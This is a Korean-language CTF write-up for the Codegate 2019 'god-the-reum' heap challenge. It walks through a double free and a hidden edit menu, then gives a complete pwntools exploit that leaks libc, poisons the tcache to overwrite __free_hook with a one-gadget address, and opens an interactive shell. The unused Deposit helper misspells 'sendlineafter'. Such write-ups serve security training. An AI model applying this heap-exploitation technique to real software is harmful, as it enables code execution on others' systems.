pwnable/CTF write-up
[pwnpwnpwn-13] codegate 2019 god-the-reum
ba0bab
2020. 1. 26. 08:06
Summary
- tcache(18.04) challenge
Analysis
puts("====== Ethereum wallet service ========");
puts("1. Create new wallet");
puts("2. Deposit eth");
puts("3. Withdraw eth");
puts("4. Show all wallets");
puts("5. exit");
Wallet[0] -> 16byte
Wallet[1] -> 16byte
Wallet[2] -> 16byte
Wallet[3] -> 16byte
Wallet[4] -> 16byte
지갑은 이렇게 5개까지 만들 수 있고, 구조체는
struct Wallet {
int *fuck_rand_chunk = malloc(0x82);
int *mysize_chunk = malloc(size);
}
이런식이다.
- Create
- 위 구조체에서 뒤에 청크를 원하는 size만큼 할당가능하다.
- 만들어진 청크에는 입력받은 size가 적힌다.
- Deposit
- 지갑의 index를 입력받고 아까 만든 mysize_chunk에 입력받는 money를 += 한다.
- Withdraw
- 지갑의 index를 입력받고 입력받은 money가 *mysize_chunk - money == 0이면 그 청크를 free한다.
- money에 0을 입력할 수 있어서 double free가 가능하다.
- Show
- 지갑들을 다 보여주는데 small bin 만들고 free해서 main_arena 위치 보이게 하고 show하면 leak이 되겠다.
- hidden
- index에서 6을 입력하면 사용할 수 있음.
- mysize_chunk의 값을 다시 수정가능. -> free된 청크의 tcache bin fd도 적을 수 있다.
Exploit
- leak
지갑들을 다 보여주는데 small bin 만들고 free해서 main_arena 위치 보이게 하고 show하면 leak이 되겠다. - exploit
free시키고 fd를__free_hook
으로 덮어주고 할당할당해서 one_shot을 적어준다.
from pwn import *
s = process("god-the-reum")
e = ELF("god-the-reum")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def Create(size):
s.sendlineafter(": ", "1")
s.sendlineafter(": ", str(size))
def Deposit(idx, money):
s.sendlienafter(": ", "2")
s.sendlineafter(": ", str(idx))
s.sendlineafter(": ", str(money))
def Withdraw(idx, money):
s.sendlineafter(": ", "3")
s.sendlineafter(": ", str(idx))
s.sendlineafter(": ", str(money))
def View():
s.sendlineafter(": ", "4")
def Developer(idx, data):
s.sendlineafter(": ", "6")
s.sendlineafter(": ", str(idx))
sleep(1)
s.sendlineafter(": ", data)
Create(256)
Create(1040)
Create(1040)
Withdraw(1, 1040)#free
View()
s.recvuntil("ballance ")
s.recvuntil("ballance ")
libc_base = int(s.recvline()) - libc.symbols['__malloc_hook'] - 0x10 - 96
__free_hook = libc_base + libc.symbols['__free_hook']
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
magic = libc_base + 0x4f322
print(hex(libc_base))
Withdraw(0, 256)
Withdraw(0, 0)
Developer(0, p64(__free_hook))
Create(256)
Create(256)
Developer(4, p64(magic))
Withdraw(0, 256)
s.recv()
s.interactive()